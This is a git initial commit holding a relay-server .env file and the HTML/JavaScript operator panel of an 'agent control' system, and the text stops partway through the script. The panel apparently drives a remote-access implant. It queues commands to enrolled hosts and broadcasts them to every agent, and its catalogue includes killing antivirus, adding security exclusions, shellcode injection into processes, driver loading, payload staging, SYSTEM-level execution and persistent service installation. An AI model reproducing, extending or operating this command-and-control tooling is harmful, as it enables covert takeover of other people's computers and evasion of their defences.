Init commit

This commit is contained in:
My Name
2026-11-03 20:45:39 -08:00
commit 26642f28a2
57 changed files with 15683 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
# Relay server environment (node server/server.js).
# Copy to server/.env or set these in your process manager.
PORT=8790
DATA_DIR=./data
PANEL_PATH=../cloudflare/panel.html
# Master key. Agent keys are derived from it; it is never sent to agents.
AGENT_SECRET=testsecret
# Panel / operator API key.
OPERATOR_KEY=testop
# One-time enrollment token handed out by the operator.
ENROLL_SECRET=testenroll
# Accept the shared master key during migration. Off by default.
LEGACY_MASTER_AUTH=false
# When set, the Worker must send X-Proxy-Secret with every request.
PROXY_SECRET=proxys3cret
+924
View File
@@ -0,0 +1,924 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>agent control</title>
<style>
:root {
--bg:#0a0d12; --panel:#10161f; --panel2:#141c27; --line:#1d2632; --line2:#25313f;
--fg:#dbe4ef; --dim:#75879c; --faint:#4b5b6d;
--ok:#3ddc97; --warn:#f2b544; --err:#ff6b6b; --accent:#5aa9ff; --accent2:#1d4f80;
--radius:10px;
}
* { box-sizing:border-box; }
html, body { height:100%; }
body {
margin:0; background:var(--bg); color:var(--fg);
font:13px/1.5 "Segoe UI Variable Text","Segoe UI",system-ui,sans-serif;
overflow:hidden;
}
code, pre, .mono { font-family:"Cascadia Mono",Consolas,"SF Mono",monospace; }
button { font:inherit; color:var(--fg); background:var(--panel2); border:1px solid var(--line2);
border-radius:8px; padding:6px 12px; cursor:pointer; transition:border-color .12s, background .12s; }
button:hover { border-color:var(--accent); background:#182436; }
button.primary { background:linear-gradient(180deg,#1d5f92,#174a71); border-color:#2b7fbe; font-weight:600; }
button.primary:hover { background:linear-gradient(180deg,#2470ab,#1a5581); }
button.ghost { background:transparent; border-color:transparent; color:var(--dim); }
button.ghost:hover { color:var(--fg); border-color:var(--line2); background:transparent; }
button:disabled { opacity:.45; cursor:default; }
input, textarea {
font:inherit; color:var(--fg); background:#0c1219; border:1px solid var(--line2);
border-radius:8px; padding:8px 10px; width:100%;
}
input:focus, textarea:focus { outline:none; border-color:var(--accent); box-shadow:0 0 0 3px rgba(90,169,255,.12); }
::placeholder { color:var(--faint); }
/* ---------- shell ---------- */
#app { display:grid; grid-template-rows:auto 1fr; height:100vh; }
header {
display:flex; align-items:center; gap:14px; padding:10px 18px;
background:var(--panel); border-bottom:1px solid var(--line);
}
.brand { font-weight:700; letter-spacing:.16em; font-size:12px; color:var(--dim); text-transform:uppercase; }
.brand b { color:var(--fg); }
.pill { display:inline-flex; align-items:center; gap:6px; padding:3px 10px; border-radius:999px;
border:1px solid var(--line2); background:#0d141d; color:var(--dim); font-size:11px; }
.pill .dot { width:7px; height:7px; border-radius:50%; background:var(--faint); }
.pill.live .dot { background:var(--ok); box-shadow:0 0 8px var(--ok); }
.pill.live { color:var(--ok); border-color:#1f4a38; }
.grow { flex:1; }
#main { display:grid; grid-template-columns:320px 1fr; min-height:0; }
/* ---------- sidebar ---------- */
#side { border-right:1px solid var(--line); display:flex; flex-direction:column; min-height:0; background:var(--panel); }
#sideHead { padding:12px; border-bottom:1px solid var(--line); display:flex; flex-direction:column; gap:8px; }
.search { position:relative; }
.search input { padding-left:30px; }
.search svg { position:absolute; left:9px; top:9px; width:14px; height:14px; stroke:var(--faint); }
#agentList { overflow:auto; flex:1; padding:8px; }
.agent {
display:grid; grid-template-columns:auto 1fr auto; gap:2px 10px; align-items:center;
padding:9px 10px; border:1px solid transparent; border-radius:var(--radius);
cursor:pointer; margin-bottom:4px;
}
.agent:hover { background:var(--panel2); }
.agent.sel { background:#132436; border-color:#274a6d; }
.agent.offline { opacity:.55; }
.agent .nm { font-weight:600; display:flex; align-items:center; gap:6px; min-width:0; }
.agent .nm span { overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
.agent .sub { grid-column:2 / span 2; color:var(--dim); font-size:11px;
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
.dot { width:8px; height:8px; border-radius:50%; background:var(--faint); flex:0 0 auto; }
.dot.on { background:var(--ok); box-shadow:0 0 8px rgba(61,220,151,.6); }
#agentList .tag.revoked { color:var(--err); background:#2a1212; border-color:#5c2222; }
.tag { font-size:10px; letter-spacing:.06em; padding:1px 6px; border-radius:5px;
background:#3a2c10; color:var(--warn); border:1px solid #5a4418; text-transform:uppercase; }
.badge { font-size:10px; padding:1px 6px; border-radius:999px; background:#1b2836; color:var(--dim); }
/* ---------- content ---------- */
#content { display:flex; flex-direction:column; min-height:0; min-width:0; }
#agentHead { padding:14px 18px; border-bottom:1px solid var(--line); background:var(--panel); }
#agentHead .title { display:flex; align-items:center; gap:10px; flex-wrap:wrap; }
#agentHead h2 { margin:0; font-size:16px; font-weight:600; }
.meta { display:flex; gap:8px; flex-wrap:wrap; margin-top:8px; }
.meta .pill { font-family:inherit; }
.emptyHead { color:var(--dim); }
#composer { padding:12px 18px 6px; display:flex; flex-direction:column; gap:8px; }
#cmdRow { display:flex; gap:8px; align-items:stretch; }
#text { resize:vertical; min-height:42px; max-height:160px; height:42px; }
#sendBtn { align-self:stretch; padding:0 18px; }
#chips { display:flex; gap:6px; flex-wrap:wrap; }
#chips button { font-size:11px; padding:4px 9px; border-radius:999px; color:var(--dim); }
#chips button:hover { color:var(--fg); }
#chips button.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
#chips button.danger:hover { color:#fff; background:#3a1616; }
#cmdBar { display:flex; align-items:center; gap:10px; }
#moreCmds { font-size:11px; padding:3px 10px; border-radius:999px; color:var(--accent); }
#palette { display:none; flex-direction:column; gap:8px; border:1px solid var(--line);
border-radius:var(--radius); background:#0d131b; padding:10px; max-height:340px; overflow:auto; }
#palette.open { display:flex; }
.pgroup { display:flex; align-items:baseline; gap:6px; flex-wrap:wrap; }
.plabel { color:var(--faint); font-size:10px; text-transform:uppercase; letter-spacing:.1em;
width:78px; flex:0 0 auto; }
.pchip { font-size:11px; padding:3px 8px; border-radius:6px; color:var(--dim); background:#121a24; }
.pchip:hover { color:var(--fg); border-color:var(--accent); }
.pchip.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
.pchip.danger:hover { color:#fff; background:#3a1616; }
.hint { color:var(--faint); font-size:11px; }
#viewBar { display:flex; align-items:center; gap:6px; padding:10px 18px 0; }
.tab { background:transparent; border:1px solid transparent; border-radius:8px; color:var(--dim);
padding:5px 12px; font-size:12px; }
.tab:hover { color:var(--fg); background:var(--panel2); }
.tab.active { color:var(--fg); background:var(--panel2); border-color:var(--line2); }
#allView { display:none; flex:1; overflow:auto; padding:10px 18px 18px; }
#cmdTable { width:100%; min-width:980px; border-collapse:collapse; font-size:12px; table-layout:fixed; }
#cmdTable th:nth-child(1) { width:95px; }
#cmdTable th:nth-child(2) { width:110px; }
#cmdTable th:nth-child(3) { width:150px; }
#cmdTable th:nth-child(4) { width:80px; }
#cmdTable th:nth-child(5) { width:80px; }
#cmdTable th:nth-child(6) { width:300px; }
#cmdTable th:nth-child(7) { width:70px; }
#cmdTable th { position:sticky; top:0; z-index:1; background:var(--panel); text-align:left;
color:var(--dim); font-weight:600; font-size:11px; letter-spacing:.06em;
text-transform:uppercase; padding:8px 10px; border-bottom:1px solid var(--line2);
cursor:pointer; user-select:none; white-space:nowrap; }
#cmdTable th:hover { color:var(--fg); }
#cmdTable th.sorted { color:var(--accent); }
#cmdTable th.sorted.desc::after { content:" v"; }
#cmdTable th.sorted.asc::after { content:" ^"; }
#cmdTable td { padding:7px 10px; border-bottom:1px solid var(--line); vertical-align:top; }
#cmdTable tr.row { cursor:pointer; }
#cmdTable tr.row:hover { background:var(--panel2); }
#cmdTable td.when { color:var(--faint); white-space:nowrap; font-variant-numeric:tabular-nums; }
#cmdTable td.agent { color:var(--accent); white-space:nowrap; }
#cmdTable td.text { font-family:"Cascadia Mono",Consolas,monospace;
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
#cmdTable .rerun { display:inline-block; margin-right:6px; padding:0 5px; border-radius:4px;
font-size:10px; letter-spacing:.04em; color:var(--accent);
border:1px solid #1d4f80; background:#0f2131; cursor:pointer; }
#cmdTable .rerun:hover { background:#15324a; color:#cfe4ff; }
#cmdTable .exp { display:inline-block; width:12px; margin-right:6px; color:var(--faint);
cursor:pointer; text-align:center; }
#cmdTable .exp:hover { color:var(--accent); }
#cmdTable td.res { cursor:pointer; }
#cmdTable td.num { color:var(--faint); white-space:nowrap; text-align:right; }
#cmdTable td.res { color:#9fb2c6; overflow:hidden; text-overflow:ellipsis;
white-space:nowrap; font-family:"Cascadia Mono",Consolas,monospace; }
#cmdTable tr.detail td { background:#0c1219; border-bottom:1px solid var(--line2); }
#cmdTable tr.detail pre { margin:0; white-space:pre-wrap; word-break:break-word; color:#c6d3e2; }
#history { flex:1; overflow:auto; padding:6px 18px 18px; }
.cmd { border:1px solid var(--line); border-radius:var(--radius); background:var(--panel);
margin-bottom:8px; overflow:hidden; }
.cmd .top { display:flex; align-items:center; gap:10px; padding:8px 12px; cursor:pointer; }
.cmd .top:hover { background:var(--panel2); }
.cmd .txt { flex:1; min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;
font-family:"Cascadia Mono",Consolas,monospace; font-size:12px; }
.state { font-size:10px; letter-spacing:.06em; text-transform:uppercase; padding:2px 7px;
border-radius:5px; border:1px solid; }
.state.queued { color:var(--warn); border-color:#5a4418; background:#2a2110; }
.state.sent { color:var(--accent); border-color:#1d4f80; background:#0f2131; }
.state.done { color:var(--ok); border-color:#1f4a38; background:#0f2419; }
.state.failed, .state.error { color:var(--err); border-color:#5c2222; background:#2a1212; }
.cmd .when { color:var(--faint); font-size:11px; white-space:nowrap; }
.cmd .body { display:none; border-top:1px solid var(--line); padding:10px 12px; }
.cmd.open .body { display:block; }
.cmd .body pre { margin:0; white-space:pre-wrap; word-break:break-word; font-size:12px; color:#c6d3e2; }
.cmd .body .empty { color:var(--faint); font-style:italic; }
.copy { float:right; margin-left:10px; }
/* ---------- overlays ---------- */
#login { position:fixed; inset:0; background:radial-gradient(1200px 600px at 50% -10%,#12202e,#070a0e 70%);
display:flex; align-items:center; justify-content:center; z-index:20; }
.card { width:340px; background:var(--panel); border:1px solid var(--line2); border-radius:14px;
padding:26px; box-shadow:0 24px 60px rgba(0,0,0,.55); }
.card h1 { font-size:12px; letter-spacing:.24em; color:var(--dim); text-transform:uppercase; margin:0 0 18px; }
.card label { display:block; font-size:11px; color:var(--dim); margin-bottom:6px; }
.card button { width:100%; margin-top:14px; }
.err { color:var(--err); font-size:12px; min-height:18px; margin-top:10px; }
#toasts { position:fixed; right:16px; bottom:16px; display:flex; flex-direction:column; gap:8px; z-index:30; }
.toast { background:var(--panel2); border:1px solid var(--line2); border-left:3px solid var(--accent);
border-radius:8px; padding:9px 14px; font-size:12px; box-shadow:0 10px 30px rgba(0,0,0,.45);
animation:slide .18s ease-out; }
.toast.ok { border-left-color:var(--ok); }
.toast.bad { border-left-color:var(--err); }
@keyframes slide { from { transform:translateY(6px); opacity:0 } to { transform:none; opacity:1 } }
@media (max-width:900px) {
#main { grid-template-columns:1fr; }
#side { display:none; }
}
</style>
</head>
<body>
<div id="login">
<div class="card">
<h1>Agent Control</h1>
<label for="key">Operator key</label>
<input id="key" type="password" placeholder="paste key" autocomplete="off">
<button class="primary" id="loginBtn">Connect</button>
<div class="err" id="loginErr"></div>
</div>
</div>
<div id="app">
<header>
<div class="brand">agent <b>control</b></div>
<div class="pill" id="livePill"><span class="dot"></span><span id="liveText">connecting</span></div>
<div class="grow"></div>
<div class="hint" id="refreshed"></div>
<button class="ghost" id="bcBtn" title="Send one command to every online agent">broadcast</button>
<button class="ghost" id="refreshBtn" title="Refresh now">refresh</button>
<button class="ghost" id="lockBtn" title="Forget key">lock</button>
</header>
<div id="main">
<aside id="side">
<div id="sideHead">
<div class="search">
<svg viewBox="0 0 24 24" fill="none" stroke-width="2"><circle cx="11" cy="11" r="7"/><path d="M20 20l-3.5-3.5"/></svg>
<input id="filter" placeholder="Search agents" autocomplete="off">
</div>
<div class="hint" id="agentCount">0 agents</div>
</div>
<div id="agentList"></div>
</aside>
<section id="content">
<div id="agentHead">
<div class="emptyHead" id="noAgent">Select an agent on the left to open a console.</div>
<div class="title" id="agentTitle" style="display:none">
<h2 id="aName"></h2>
<span class="pill" id="aState"><span class="dot"></span><span id="aStateText"></span></span>
<div class="grow"></div>
<button class="ghost" id="revokeBtn" title="Toggle this agent key">revoke</button>
<button class="ghost" id="clearSelection">close</button>
</div>
<div class="meta" id="agentMeta"></div>
</div>
<div id="viewBar">
<button class="tab active" data-view="console">Console</button>
<button class="tab" data-view="commands">All commands</button>
<div class="grow"></div>
<input id="cmdFilter" placeholder="filter commands" style="display:none;max-width:220px">
<select id="stateFilter" style="display:none;max-width:180px">
<option value="done" selected>executed (done)</option>
<option value="">any state</option>
<option value="queued">queued</option>
<option value="sent">sent</option>
</select>
</div>
<div id="allView">
<table id="cmdTable">
<thead>
<tr>
<th data-sort="created" class="sorted desc">time</th>
<th data-sort="agent">agent</th>
<th data-sort="text">command</th>
<th data-sort="state">state</th>
<th data-sort="operator">by</th>
<th data-sort="result">result</th>
<th data-sort="duration">took</th>
</tr>
</thead>
<tbody id="cmdBody"></tbody>
</table>
<div class="hint" id="cmdEmpty" style="padding:14px;display:none">No commands match.</div>
</div>
<div id="composer" style="display:none">
<div id="cmdRow">
<textarea id="text" rows="1" placeholder="Type a command, e.g. STATUS (Enter to send, Shift+Enter for newline)"></textarea>
<button class="primary" id="sendBtn">send</button>
</div>
<div id="chips"></div>
<div id="cmdBar">
<button class="ghost" id="moreCmds">all commands</button>
<div class="grow"></div>
<span class="hint">commands with &lt;args&gt; load into the box, the rest run immediately</span>
</div>
<div id="palette">
<input id="cmdSearch" placeholder="Search all commands" autocomplete="off">
<div id="cmdGroups"></div>
</div>
</div>
<div id="history"></div>
</section>
</div>
</div>
<div id="toasts"></div>
<script>
var KEY = localStorage.getItem("agentKey") || "";
var agents = [];
var selected = null;
var commands = [];
var timer = null;
var lastRefresh = 0;
var openIds = {};
// Every command the agent accepts, grouped for the palette.
// args:true means the chip pre-fills the box so the operator can fill values.
var COMMANDS = [
{ c: "PING", g: "basics" },
{ c: "STATUS", g: "basics" },
{ c: "HELP", g: "basics" },
{ c: "RUN <cmd>", g: "execute", a: 1 },
{ c: "EXEC <commandline>", g: "execute", a: 1 },
{ c: "RUN_USER <cmd>", g: "execute", a: 1 },
{ c: "RUN_SYSTEM <cmd>", g: "execute", a: 1 },
{ c: "PS <powershell command>", g: "execute", a: 1 },
{ c: "PS_USER <powershell command>", g: "execute", a: 1 },
{ c: "RUNFILE <path> [args]", g: "files", a: 1 },
{ c: "RUNFILE_USER <path> [args]", g: "files", a: 1 },
{ c: "RUNFILE_SYSTEM <path> [args]", g: "files", a: 1 },
{ c: "OPENFILE <path> [args]", g: "files", a: 1 },
{ c: "OPENFILE_USER <path> [args]", g: "files", a: 1 },
{ c: "DOWNLOAD <url> <output-path> [sha256]", g: "files", a: 1 },
{ c: "DEPLOY <url> [args]", g: "files", a: 1 },
{ c: "DEPLOY_SYSTEM <url> [args]", g: "files", a: 1 },
{ c: "KILLPID <pid>", g: "processes", a: 1 },
{ c: "KILLNAME <name.exe>", g: "processes", a: 1 },
{ c: "KILLALL <name.exe>", g: "processes", a: 1 },
{ c: "TOKEN_GET", g: "processes" },
{ c: "INJECT_FILE <pid> <shellcode-path>", g: "processes", a: 1 },
{ c: "INJECT_SUSPEND <exe-path> <shellcode-path>", g: "processes", a: 1 },
{ c: "KILLAV", g: "security", danger: 1 },
{ c: "KILLAV_DRYRUN", g: "security" },
{ c: "EXCLUSION_LIST", g: "security" },
{ c: "EXCLUSION_ADD <path>", g: "security", a: 1 },
{ c: "EXCLUSION_APPLY", g: "security" },
{ c: "DRIVER_STATUS", g: "driver" },
{ c: "DRIVER_RESET", g: "driver" },
{ c: "DRIVER_LOAD", g: "driver" },
{ c: "HOST_LIST", g: "hosts" },
{ c: "HOST_SPAWN [--host <image>] <exe> [args]", g: "hosts", a: 1 },
{ c: "HOST_SPAWN_USER [--host <image>] <exe> [args]", g: "hosts", a: 1 },
{ c: "HOST_INJECT <shellcode-path> [--host <image>]", g: "hosts", a: 1 },
{ c: "HOST_TRACK", g: "hosts" },
{ c: "HOST_UNTRACK", g: "hosts" },
{ c: "STAGE_STATUS", g: "payload" },
{ c: "STAGE_INJECT [--host <image>]", g: "payload", a: 1 },
{ c: "STAGE_RUN <command line>", g: "payload", a: 1 },
{ c: "STAGE_STOP", g: "payload" },
{ c: "SERVICE_STATUS <name>", g: "services", a: 1 },
{ c: "START_SERVICE <name> [binary-path]", g: "services", a: 1 },
{ c: "INSTALL_SERVICE <name> [binary-path]", g: "services", a: 1 },
{ c: "INSTALL_CLOUD_SERVICE <name>", g: "services", a: 1 },
{ c: "INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]", g: "services", a: 1 },
{ c: "STOP", g: "session", danger: 1 }
];
var QUICK = ["STATUS", "PING", "HOST_LIST", "STAGE_STATUS", "DRIVER_STATUS", "EXCLUSION_LIST", "KILLAV_DRYRUN", "HELP"];
function $(id) { return document.getElementById(id); }
function esc(v) {
return String(v == null ? "" : v).replace(/[&<>"']/g, function (c) {
return { "&":"&amp;", "<":"&lt;", ">":"&gt;", '"':"&quot;", "'":"&#39;" }[c];
});
}
function ago(sec) {
sec = Math.max(0, sec | 0);
if (sec < 60) return sec + "s ago";
if (sec < 3600) return Math.floor(sec / 60) + "m ago";
if (sec < 86400) return Math.floor(sec / 3600) + "h ago";
return Math.floor(sec / 86400) + "d ago";
}
function clock(ts) {
var d = new Date(ts * 1000);
return d.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit", second: "2-digit" });
}
function toast(msg, kind) {
var el = document.createElement("div");
el.className = "toast " + (kind || "");
el.textContent = msg;
$("toasts").appendChild(el);
setTimeout(function () { el.remove(); }, 3200);
}
function api(path, opts) {
return fetch(path, Object.assign({
headers: { "X-Operator-Key": KEY, "Content-Type": "application/json" }
}, opts || {})).then(function (res) {
if (res.status === 403) { lock("operator key rejected"); throw new Error("denied"); }
return res.json();
});
}
function lock(msg) {
if (timer) { clearInterval(timer); timer = null; }
$("login").style.display = "flex";
$("loginErr").textContent = msg || "";
$("key").focus();
}
function connect() {
KEY = $("key").value.trim();
if (!KEY) { $("loginErr").textContent = "key required"; return; }
localStorage.setItem("agentKey", KEY);
$("login").style.display = "none";
start();
}
function start() {
renderChips();
refresh(true);
if (timer) clearInterval(timer);
timer = setInterval(function () { refresh(false); }, 3000);
}
function refresh(force) {
return Promise.all([api("/api/agents"), api("/api/stats")]).then(function (r) {
agents = r[0].agents || [];
var online = 0;
agents.forEach(function (a) { if (a.online) online++; });
$("liveText").textContent = online + " online / " + agents.length;
$("livePill").className = "pill" + (online ? " live" : "");
$("agentCount").textContent = agents.length + (agents.length === 1 ? " agent" : " agents");
lastRefresh = Date.now();
$("refreshed").textContent = "updated " + new Date(lastRefresh).toLocaleTimeString();
renderAgents();
if (viewMode === "commands") { loadAll(); return; }
if (selected) {
var a = agents.filter(function (x) { return x.id === selected; })[0];
if (a) renderHead(a);
return api("/api/commands?agent=" + encodeURIComponent(selected) + "&limit=40").then(function (list) {
commands = list.commands || [];
renderHistory();
});
}
}).catch(function (e) {
if (String(e.message) !== "denied") toast("refresh failed: " + e.message, "bad");
});
}
function renderAgents() {
var f = ($("filter").value || "").toLowerCase();
var rows = agents.filter(function (a) {
return !f || String(a.id).toLowerCase().indexOf(f) >= 0 || String(a.host || "").toLowerCase().indexOf(f) >= 0;
}).sort(function (a, b) {
if (a.online !== b.online) return a.online ? -1 : 1;
return a.age - b.age;
});
var html = rows.map(function (a) {
var cls = "agent" + (a.id === selected ? " sel" : "") + (a.online ? "" : " offline");
var user = (a.user || "").split("\\").pop() || "unknown";
return '<div class="' + cls + '" data-agent="' + esc(a.id) + '" tabindex="0">' +
'<span class="dot ' + (a.online ? "on" : "") + '"></span>' +
'<div class="nm"><span>' + esc(a.id) + '</span>' +
(a.system ? '<span class="tag">system</span>' : "") +
(a.revoked ? '<span class="tag revoked">revoked</span>' : "") + '</div>' +
(a.queued ? '<span class="badge">' + a.queued + ' queued</span>' : '<span></span>') +
'<div class="sub">' + esc(a.host || "unknown host") + ' - ' + esc(user) +
' - ' + ago(a.age) + '</div>' +
'</div>';
}).join("");
$("agentList").innerHTML = html || '<div class="hint" style="padding:14px">No agents match.</div>';
Array.prototype.forEach.call($("agentList").querySelectorAll(".agent"), function (el) {
el.addEventListener("click", function () { select(el.getAttribute("data-agent")); });
el.addEventListener("keydown", function (e) {
if (e.key === "Enter" || e.key === " ") { e.preventDefault(); select(el.getAttribute("data-agent")); }
});
});
}
function pill(label) { return '<span class="pill">' + esc(label) + '</span>'; }
function renderHead(a) {
$("noAgent").style.display = "none";
$("agentTitle").style.display = "flex";
$("composer").style.display = "flex";
$("aName").textContent = a.id;
$("aState").className = "pill" + (a.revoked ? "" : (a.online ? " live" : ""));
$("aStateText").textContent = a.revoked ? "revoked" : (a.online ? "online" : "offline");
$("revokeBtn").textContent = a.revoked ? "restore" : "revoke";
var meta = [
pill("host " + (a.host || "?")),
pill("user " + (a.user || "?")),
pill("sid " + (a.sid || "?")),
pill("v" + (a.version || "?")),
pill("interval " + Math.round((a.interval || 0) / 1000) + "s"),
pill("seen " + ago(a.age))
];
if (a.queued) meta.push(pill(a.queued + " queued"));
$("agentMeta").innerHTML = meta.join("");
}
function select(id) {
selected = id;
openIds = {};
renderAgents();
var a = agents.filter(function (x) { return x.id === id; })[0];
if (a) renderHead(a);
refresh(false);
}
function chipButton(entry, cls) {
var danger = entry.danger ? " danger" : "";
var label = entry.label || entry.c
.replace(/<[^>]*>/g, "")
.replace(/\[[^\]]*\]/g, "")
.replace(/\s+/g, " ")
.trim()
.toLowerCase();
return '<button class="' + cls + danger + '" data-cmd="' + esc(entry.c) + '" data-args="' + (entry.a ? 1 : 0) + '"' +
' title="' + esc(entry.c) + '">' + esc(label) + "</button>";
}
function clickChip(cmd, hasArgs) {
if (!selected) { toast("select an agent first", "bad"); return; }
if (hasArgs) {
var box = $("text");
box.value = cmd;
box.focus();
box.style.height = "42px";
box.style.height = Math.min(box.scrollHeight, 160) + "px";
toast("fill in the arguments, then Enter", "ok");
return;
}
$("text").value = cmd;
send();
}
function renderChips() {
var quick = QUICK.map(function (name) {
var entry = COMMANDS.filter(function (c) { return c.c === name; })[0] || { c: name };
return chipButton(entry, "chip");
}).join("");
$("chips").innerHTML = quick;
Array.prototype.forEach.call($("chips").querySelectorAll("button"), function (b) {
b.addEventListener("click", function () {
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
});
});
$("moreCmds").textContent = "all commands (" + COMMANDS.length + ")";
renderPalette("");
}
function renderPalette(filter) {
var f = (filter || "").toLowerCase();
var groups = {};
COMMANDS.forEach(function (entry) {
if (f && entry.c.toLowerCase().indexOf(f) < 0) return;
(groups[entry.g] = groups[entry.g] || []).push(entry);
});
var html = Object.keys(groups).map(function (g) {
return '<div class="pgroup"><div class="plabel">' + esc(g) + "</div>" +
groups[g].map(function (e) { return chipButton(e, "pchip"); }).join("") + "</div>";
}).join("");
$("cmdGroups").innerHTML = html || '<div class="hint">no command matches</div>';
Array.prototype.forEach.call($("cmdGroups").querySelectorAll("button"), function (b) {
b.addEventListener("click", function () {
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
});
});
}
function renderHistory() {
if (!selected) { $("history").innerHTML = ""; return; }
if (!commands.length) {
$("history").innerHTML = '<div class="hint" style="padding:18px">No commands yet. Use a quick action above.</div>';
return;
}
commands.forEach(function (c, i) {
if (i === 0 && c.state === "done" && !(c.id in openIds)) openIds[c.id] = true;
});
$("history").innerHTML = commands.map(function (c) {
var open = openIds[c.id] ? " open" : "";
var duration = c.finished && c.sent ? ((c.finished - c.sent) * 1000) + " ms" : (c.state === "sent" ? "waiting" : "");
var result = c.result
? '<pre id="r_' + esc(c.id) + '">' + esc(c.result) + '</pre>'
: '<div class="empty">no output yet</div>';
return '<div class="cmd' + open + '" data-id="' + esc(c.id) + '">' +
'<div class="top">' +
'<span class="state ' + esc(c.state) + '">' + esc(c.state) + '</span>' +
'<span class="txt">' + esc(c.text) + '</span>' +
'<span class="when">' + clock(c.created) + (duration ? " - " + duration : "") + '</span>' +
'</div>' +
'<div class="body">' + result +
'<div style="margin-top:8px;display:flex;gap:8px">' +
'<button class="ghost copy" data-copy="' + esc(c.id) + '">copy result</button>' +
'<button class="ghost" data-again="' + esc(c.text) + '">run again</button>' +
'</div>' +
'</div>' +
'</div>';
}).join("");
Array.prototype.forEach.call($("history").querySelectorAll(".cmd"), function (el) {
el.querySelector(".top").addEventListener("click", function () {
var id = el.getAttribute("data-id");
openIds[id] = !openIds[id];
el.classList.toggle("open");
});
});
Array.prototype.forEach.call($("history").querySelectorAll("[data-copy]"), function (b) {
b.addEventListener("click", function (e) {
e.stopPropagation();
var pre = $("r_" + b.getAttribute("data-copy"));
if (!pre) return;
navigator.clipboard.writeText(pre.textContent).then(function () { toast("result copied", "ok"); });
});
});
Array.prototype.forEach.call($("history").querySelectorAll("[data-again]"), function (b) {
b.addEventListener("click", function (e) {
e.stopPropagation();
$("text").value = b.getAttribute("data-again");
send();
});
});
}
function send() {
var text = $("text").value.trim();
if (!selected) { toast("select an agent first", "bad"); return; }
if (!text) return;
$("sendBtn").disabled = true;
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: selected, text: text }) })
.then(function (r) {
if (!r.ok) throw new Error(r.error || "enqueue failed");
$("text").value = "";
$("text").style.height = "42px";
toast("queued for " + selected, "ok");
return refresh(false);
})
.catch(function (e) { toast("send failed: " + e.message, "bad"); })
.then(function () { $("sendBtn").disabled = false; });
}
/* ---------------- all commands view ---------------- */
var viewMode = "console";
var allCommands = [];
var sortKey = "created";
var sortDir = "desc";
var openAll = {};
function fmtDuration(c) {
if (c.finished && c.sent) return ((c.finished - c.sent) * 1000) + " ms";
if (c.state === "sent") return "waiting";
return "-";
}
function loadAll() {
return api("/api/commands?limit=200").then(function (r) {
allCommands = r.commands || [];
renderAll();
}).catch(function (e) {
if (String(e.message) !== "denied") toast("load failed: " + e.message, "bad");
});
}
function rowValue(c, key) {
if (key === "duration") return (c.finished && c.sent) ? (c.finished - c.sent) : 1e9;
if (key === "agent") return String(c.agent || "").toLowerCase();
if (key === "text") return String(c.text || "").toLowerCase();
if (key === "state") return String(c.state || "");
if (key === "operator") return String(c.operator || "");
if (key === "result") return String(c.result || "").toLowerCase();
return c[key] || 0;
}
function renderAll() {
var f = ($("cmdFilter").value || "").toLowerCase();
var st = $("stateFilter").value;
var rows = allCommands.filter(function (c) {
if (st && c.state !== st) return false;
if (!f) return true;
return String(c.agent).toLowerCase().indexOf(f) >= 0 || String(c.text).toLowerCase().indexOf(f) >= 0;
});
rows.sort(function (a, b) {
var av = rowValue(a, sortKey), bv = rowValue(b, sortKey);
if (av < bv) return sortDir === "asc" ? -1 : 1;
if (av > bv) return sortDir === "asc" ? 1 : -1;
return 0;
});
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
th.classList.toggle("sorted", th.getAttribute("data-sort") === sortKey);
th.classList.toggle("asc", th.getAttribute("data-sort") === sortKey && sortDir === "asc");
th.classList.toggle("desc", th.getAttribute("data-sort") === sortKey && sortDir === "desc");
});
var html = rows.map(function (c) {
var open = openAll[c.id];
var detail = open
? '<tr class="detail"><td colspan="7"><pre>' + esc(c.result || "(no output)") + "</pre></td></tr>"
: "";
return '<tr class="row" data-id="' + esc(c.id) + '" title="click to load into the console">' +
'<td class="when">' + clock(c.created) + "</td>" +
'<td class="agent">' + esc(c.agent) + "</td>" +
'<td class="text"><span class="exp" data-expand="' + esc(c.id) + '" title="show result">' +
(openAll[c.id] ? "-" : "+") + "</span>" +
'<span class="rerun" data-rerun="' + esc(c.text) + '" data-rerun-agent="' + esc(c.agent) +
'" title="run this again now">run</span>' +
esc(c.text) + "</td>" +
'<td><span class="state ' + esc(c.state) + '">' + esc(c.state) + "</span></td>" +
'<td class="when">' + esc(c.operator || "") + "</td>" +
'<td class="res" data-expand="' + esc(c.id) + '" title="' + esc((c.result || "").replace(/\s+/g, " ")) + '">' +
esc((c.result || "").replace(/\s+/g, " ").slice(0, 90)) + "</td>" +
'<td class="num">' + esc(fmtDuration(c)) + "</td>" +
"</tr>" + detail;
}).join("");
$("cmdBody").innerHTML = html;
$("cmdEmpty").style.display = rows.length ? "none" : "block";
Array.prototype.forEach.call($("cmdBody").querySelectorAll("[data-rerun]"), function (b) {
b.addEventListener("click", function (e) {
e.stopPropagation();
var cmdText = b.getAttribute("data-rerun");
var agent = b.getAttribute("data-rerun-agent");
if (!confirm("Run again on " + agent + "?\n\n" + cmdText)) return;
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: agent, text: cmdText }) })
.then(function (r) {
if (!r.ok) throw new Error(r.error || "enqueue failed");
toast("queued on " + agent, "ok");
return loadAll();
})
.catch(function (err) { toast("rerun failed: " + err.message, "bad"); });
});
});
Array.prototype.forEach.call($("cmdBody").querySelectorAll("tr.row"), function (tr) {
tr.addEventListener("click", function (e) {
var id = tr.getAttribute("data-id");
var expander = e.target.closest("[data-expand]");
// Clicking the result or the + toggles the output; clicking anywhere else
// loads the command into the console for immediate re-run.
if (expander) {
openAll[id] = !openAll[id];
renderAll();
return;
}
loadIntoConsole(tr);
});
});
}
// Fast path: pick a past command, land in that agent's console with the text
// already in the box, cursor blinking, one Enter away.
function loadIntoConsole(tr) {
